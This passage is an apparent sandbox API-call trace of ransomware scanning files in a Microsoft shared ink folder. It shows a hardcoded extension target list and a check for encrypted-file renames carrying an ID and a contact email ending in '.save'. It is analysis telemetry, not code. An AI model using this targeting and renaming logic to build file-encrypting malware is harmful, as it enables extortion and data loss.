Files\\microsoft shared\\ink\\Content.xml") returned 62 [0054.777] lstrlenW (lpString=".zip") returned 4 [0054.777] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.777] lstrlenW (lpString=".rar") returned 4 [0054.777] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.777] lstrlenW (lpString=".bz2") returned 4 [0054.777] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.777] lstrlenW (lpString=".7z") returned 3 [0054.777] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0054.778] lstrlenW (lpString=".dbf") returned 4 [0054.778] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0054.778] lstrlenW (lpString=".1cd") returned 4 [0054.778] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0054.778] lstrlenW (lpString=".jpg") returned 4 [0054.778] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.778] lstrcmpiW (lpString1=".avi", lpString2=".save") returned -1 [0054.778] lstrlenW (lpString="boxed-correct.avi") returned 17 [0054.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0054.780] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=111320) returned 1 [0054.780] CloseHandle (hObject=0x370) returned 1 [0054.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0054.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0054.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0054.780] lstrlenW (lpString=".doc") returned 4 [0054.780] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0054.780] lstrlenW (lpString=".docx") returned 5 [0054.780] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0054.780] lstrlenW (lpString=".pdf") returned 4 [0054.780] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0054.780] lstrlenW (lpString=".xls") returned 4 [0054.780] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0054.780] lstrlenW (lpString=".xlsx") returned 5 [0054.780] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0054.780] lstrlenW (lpString=".ppt") returned 4 [0054.780] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0054.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0054.781] lstrlenW (lpString=".zip") returned 4 [0054.781] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0054.781] lstrlenW (lpString=".rar") returned 4 [0054.781] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0054.781] lstrlenW (lpString=".bz2") returned 4 [0054.781] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0054.781] lstrlenW (lpString=".7z") returned 3 [0054.781] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0054.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0054.781] lstrlenW (lpString=".dbf") returned 4 [0054.781] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0054.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0054.781] lstrlenW (lpString=".1cd") returned 4 [0054.781] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0054.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0054.781] lstrlenW (lpString=".jpg") returned 4 [0054.781] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0054.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0054.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0054.781] lstrlenW (lpString=".doc") returned 4 [0054.781] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0054.781] lstrlenW (lpString=".docx") returned 5 [0054.781] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0054.781] lstrlenW (lpString=".pdf") returned 4 [0054.781] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0054.781] lstrlenW (lpString=".xls") returned 4 [0054.781] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0054.781] lstrlenW (lpString=".xlsx") returned 5 [0054.781] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0054.781] lstrlenW (lpString=".ppt") returned 4 [0054.782] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0054.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0054.782] lstrlenW (lpString=".zip") returned 4 [0054.782] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0054.782] lstrlenW (lpString=".rar") returned 4 [0054.782] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0054.782] lstrlenW (lpString=".bz2") returned 4 [0054.782] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0054.782] lstrlenW (lpString=".7z") returned 3 [0054.782] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0054.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0054.782] lstrlenW (lpString=".dbf") returned 4 [0054.782] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0054.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0054.782] lstrlenW (lpString=".1cd") returned 4 [0054.782] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0054.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0054.782] lstrlenW (lpString=".jpg") returned 4 [0054.782] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0054.782] lstrcmpiW (lpString1=".avi", lpString2=".save") returned -1 [0054.782] lstrlenW (lpString="boxed-delete.avi") returned 16 [0054.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0054.782] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=48936) returned 1 [0054.783] CloseHandle (hObject=0x370) returned 1 [0054.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0054.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0054.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0054.783] lstrlenW (lpString=".doc") returned 4 [0054.783] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0054.783] lstrlenW (lpString=".docx") returned 5 [0054.783] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0054.783] lstrlenW (lpString=".pdf") returned 4 [0054.783] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0054.783] lstrlenW (lpString=".xls") returned 4 [0054.783] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0054.783] lstrlenW (lpString=".xlsx") returned 5 [0054.783] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0054.783] lstrlenW (lpString=".ppt") returned 4 [0054.783] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0054.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0054.783] lstrlenW (lpString=".zip") returned 4 [0054.783] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0054.783] lstrlenW (lpString=".rar") returned 4 [0054.783] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0054.783] lstrlenW (lpString=".bz2") returned 4 [0054.783] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0054.784] lstrlenW (lpString=".7z") returned 3 [0054.784] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0054.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0054.784] lstrlenW (lpString=".dbf") returned 4 [0054.784] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0054.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0054.784] lstrlenW (lpString=".1cd") returned 4 [0054.784] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0054.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0054.784] lstrlenW (lpString=".jpg") returned 4 [0054.784] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0054.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0054.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0054.784] lstrlenW (lpString=".doc") returned 4 [0054.784] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0054.784] lstrlenW (lpString=".docx") returned 5 [0054.784] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0054.784] lstrlenW (lpString=".pdf") returned 4 [0054.784] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0054.784] lstrlenW (lpString=".xls") returned 4 [0054.784] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0054.784] lstrlenW (lpString=".xlsx") returned 5 [0054.784] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0054.784] lstrlenW (lpString=".ppt") returned 4 [0054.784] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0054.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0054.784] lstrlenW (lpString=".zip") returned 4 [0054.784] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0054.784] lstrlenW (lpString=".rar") returned 4 [0054.784] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0054.784] lstrlenW (lpString=".bz2") returned 4 [0054.785] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0054.785] lstrlenW (lpString=".7z") returned 3 [0054.785] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0054.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0054.785] lstrlenW (lpString=".dbf") returned 4 [0054.785] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0054.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0054.785] lstrlenW (lpString=".1cd") returned 4 [0054.785] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0054.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0054.785] lstrlenW (lpString=".jpg") returned 4 [0054.785] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0054.785] lstrcmpiW (lpString1=".avi", lpString2=".save") returned -1 [0054.785] lstrlenW (lpString="boxed-join.avi") returned 14 [0054.785] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0054.786] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=46622) returned 1 [0054.786] CloseHandle (hObject=0x370) returned 1 [0054.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0054.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0054.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0054.787] lstrlenW (lpString=".doc") returned 4 [0054.787] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0054.787] lstrlenW (lpString=".docx") returned 5 [0054.787] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0054.787] lstrlenW (lpString=".pdf") returned 4 [0054.787] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0054.787] lstrlenW (lpString=".xls") returned 4 [0054.787] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0054.787] lstrlenW (lpString=".xlsx") returned 5 [0054.787] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0054.787] lstrlenW (lpString=".ppt") returned 4 [0054.787] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0054.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0054.787] lstrlenW (lpString=".zip") returned 4 [0054.787] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0054.787] lstrlenW (lpString=".rar") returned 4 [0054.787] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0054.787] lstrlenW (lpString=".bz2") returned 4 [0054.787] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0054.787] lstrlenW (lpString=".7z") returned 3 [0054.787] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0054.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0054.787] lstrlenW (lpString=".dbf") returned 4 [0054.788] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0054.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0054.788] lstrlenW (lpString=".1cd") returned 4 [0054.788] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0054.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0054.788] lstrlenW (lpString=".jpg") returned 4 [0054.788] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0054.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0054.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0054.788] lstrlenW (lpString=".doc") returned 4 [0054.788] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0054.788] lstrlenW (lpString=".docx") returned 5 [0054.788] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0054.788] lstrlenW (lpString=".pdf") returned 4 [0054.788] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0054.788] lstrlenW (lpString=".xls") returned 4 [0054.788] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0054.788] lstrlenW (lpString=".xlsx") returned 5 [0054.788] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0054.788] lstrlenW (lpString=".ppt") returned 4 [0054.788] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0054.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0054.788] lstrlenW (lpString=".zip") returned 4 [0054.788] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0054.788] lstrlenW (lpString=".rar") returned 4 [0054.788] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0054.788] lstrlenW (lpString=".bz2") returned 4 [0054.788] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0054.788] lstrlenW (lpString=".7z") returned 3 [0054.788] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0054.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0054.789] lstrlenW (lpString=".dbf") returned 4 [0054.789] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0054.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0054.789] lstrlenW (lpString=".1cd") returned 4 [0054.789] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0054.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0054.789] lstrlenW (lpString=".jpg") returned 4 [0054.789] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0054.789] lstrcmpiW (lpString1=".avi", lpString2=".save") returned -1 [0054.789] lstrlenW (lpString="boxed-split.avi") returned 15 [0054.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0054.789] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=84190) returned 1 [0054.789] CloseHandle (hObject=0x370) returned 1 [0054.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0054.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0054.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0054.790] lstrlenW (lpString=".doc") returned 4 [0054.790] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0054.790] lstrlenW (lpString=".docx") returned 5 [0054.790] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0054.790] lstrlenW (lpString=".pdf") returned 4 [0054.790] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0054.790] lstrlenW (lpString=".xls") returned 4 [0054.790] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0054.790] lstrlenW (lpString=".xlsx") returned 5 [0054.790] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0054.790] lstrlenW (lpString=".ppt") returned 4 [0054.790] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0054.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0054.790] lstrlenW (lpString=".zip") returned 4 [0054.790] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0054.790] lstrlenW (lpString=".rar") returned 4 [0054.790] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0054.790] lstrlenW (lpString=".bz2") returned 4 [0054.790] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0054.790] lstrlenW (lpString=".7z") returned 3 [0054.790] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0054.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0054.790] lstrlenW (lpString=".dbf") returned 4 [0054.790] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0054.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0054.791] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=180172) returned 1 [0054.791] CloseHandle (hObject=0x370) returned 1 [0054.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0054.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0054.791] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=208408) returned 1 [0054.791] CloseHandle (hObject=0x370) returned 1 [0054.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0054.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0054.792] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=199994) returned 1 [0054.792] CloseHandle (hObject=0x370) returned 1 [0054.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0054.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0054.793] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=181964) returned 1 [0054.793] CloseHandle (hObject=0x370) returned 1 [0054.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0054.793] 